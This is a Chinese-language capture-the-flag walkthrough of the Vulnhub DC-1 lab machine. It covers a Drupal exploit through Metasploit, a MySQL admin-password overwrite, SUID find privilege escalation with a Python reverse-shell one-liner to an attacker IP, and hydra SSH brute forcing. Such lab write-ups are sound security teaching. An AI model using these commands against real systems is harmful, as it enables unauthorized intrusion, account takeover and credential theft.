Vulnhub(官网地址)是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。
本文记录对第一个靶机的渗透过程,靶机下载地址,如下:
下载完使用 VMWare 导入虚拟机文件,启动靶机,需要登陆密码,进不去,黑盒测试:
1、启动 Kali Liunx 攻击机,查看IP:
2、使用arp-scan -l
命令,来探测同一局域网内的存活主机,找到靶机IP:
3、利用Nmap对靶机进行全端口扫描:
4、发现开放了80端口,本地物理机浏览器尝试访问:
1、从上得知该个网站使用的是使用了 Drupal 框架的 CMS 系统,搜索该框架有没有可直接利用的 CVE 漏洞:
2、既然存在一堆 CVE 漏洞,那么运行 msfconsole 命令启用 MSF 框架尝试进行漏洞利用,搜索 Drupal 的漏洞利用模块:
3、存在很多漏洞利用模块,尝试使用2018年的漏洞进行利用,使用show options 命令查看脚本所需设定参数:
4、设置目标靶机IP,尝试进行漏洞利用,成功获得Shell:
1、上面获得shell查看当前路径下的目录发现有 flag1.txt 的文件,打开看一下:
2、根据提示,百度获知 Drupal 的配置文件是网站根目录下的 /sites/default/setting.php
文件,访问查看:
3、发现了 flag2,flag2 提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。使用 mysql 命令登录,发现 mysql 命令无效:
4、在 meterpreter 中能进行的命令比较少,直接进入系统下的 shell 试试,再次登录 mysql 发现终端不能正常回显信息:
5、获取交互式shell的时候发现有限制,可通过 python 中 pty.spawn() 获得交互式shell:
进入 shell 后执行命令 python -c 'import pty;pty.spawn("/bin/bash")'
,获得交互式 shell 并成功连接 mysql 数据库如下:
mysql>show databases; #查询数据库名称
mysql>use drupaldb; #使用drupaldb数据库
mysql>show tables; #查看数据库内的表
具体过程如下:
有一个名字为 user 的表:
7、使用 select 语句查询,找到可用于登录的用户 admin 和密码密文:
8、使用 Drupal 对数据库的加密方法,加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码123456,生成加密密文:这个方法,没有成功,执行显示出错。如果计算hash成功,再 update 到对应的表中即可(此处密文参考别的大佬的博客,为“password”字符串的 SHA-512 加密运算的结果):
update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where uid=1;
执行如下:
9、成功更换 admin 账户的密码后,进行网站登录 admin/password :
接下来在 Dashboard 里找到了 flag3:
谷歌翻译一下以上提示:
结合官方的靶机接题提示,需要获得 root 权限并到 /root 路径下找到并查看最终的 flag 文件来完成挑战,获得 root 权限的方案有两种:
根据上面的提示发现 perm,是让我们通过 suid 提权,SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得root用户的身份了。
【SUID的作用】:SUID是set uid的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow中,而/etc/shadow的权限为 ----------。也就是说:只有root用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd这个指令。passwd这个指令在/bin/passwd下,当我们执行这个命令后,就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢?这里就用到了suid,suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd时会拥有root的权限,这样就可以修改/etc/passwd这个文件了。设置 suid 的命令:chmod u+s 文件名。
已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们使用命令find / -perm -u=s -type f 2>/dev/null
查看具有root用户权限的SUID文件:
随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件:
执行命令/usr/bin/find examples.desktop -exec whoami \;
先看一下是否能用 find 命令以 root 权限运行,发现确实可以以 root 权限运行:
接着可以以 root 用户的身份利用 python 反弹 shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
如下图所示:
可以看到,在攻击端收到了反弹过来的shell,并且是root身份:
返回到本靶机环境,访问 /root 路径被拒绝:
使用命令find / -type f -perm -u=s 2>/dev/null
发现 find 命令被设置为 suid 权限位:
使用 suid 进行提权访问:
www-data@DC-1:/var/www$ find /root/thefinalflag.txt -exec cat {} \;
上面提到另一种获取 root 权限的办法是通过 SSH 暴力破解的方式获得 root 账户的密码并登录系统,下面进行补充演示。
1、使用 hydra+John 密码包对 root 的密码进行爆破,其中九头蛇 hydra 为 kali 内置工具,John 需要下载安装:
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
2、使用如下命令进行 root 账户的密码爆破:
hydra -l root -P john-1.8.0/run/password.lst ssh://192.168.0.104 -f -vV -o hydraroot.ssh
3、既然 root 账户爆破失败,那看看还有没有别的账户吧……查看 /etc/passwd 发现存在一个 flag4 账户:
4、意识到以上找到 flag1、flag2、flag3、flag5,漏了 flag4 了,同样对着 flag4 账户进行 SSH 登录爆破一波:
成功爆破出密码为 orange:
5、使用 SSH 登录 flag4 账户,成功找到 flag4.txt: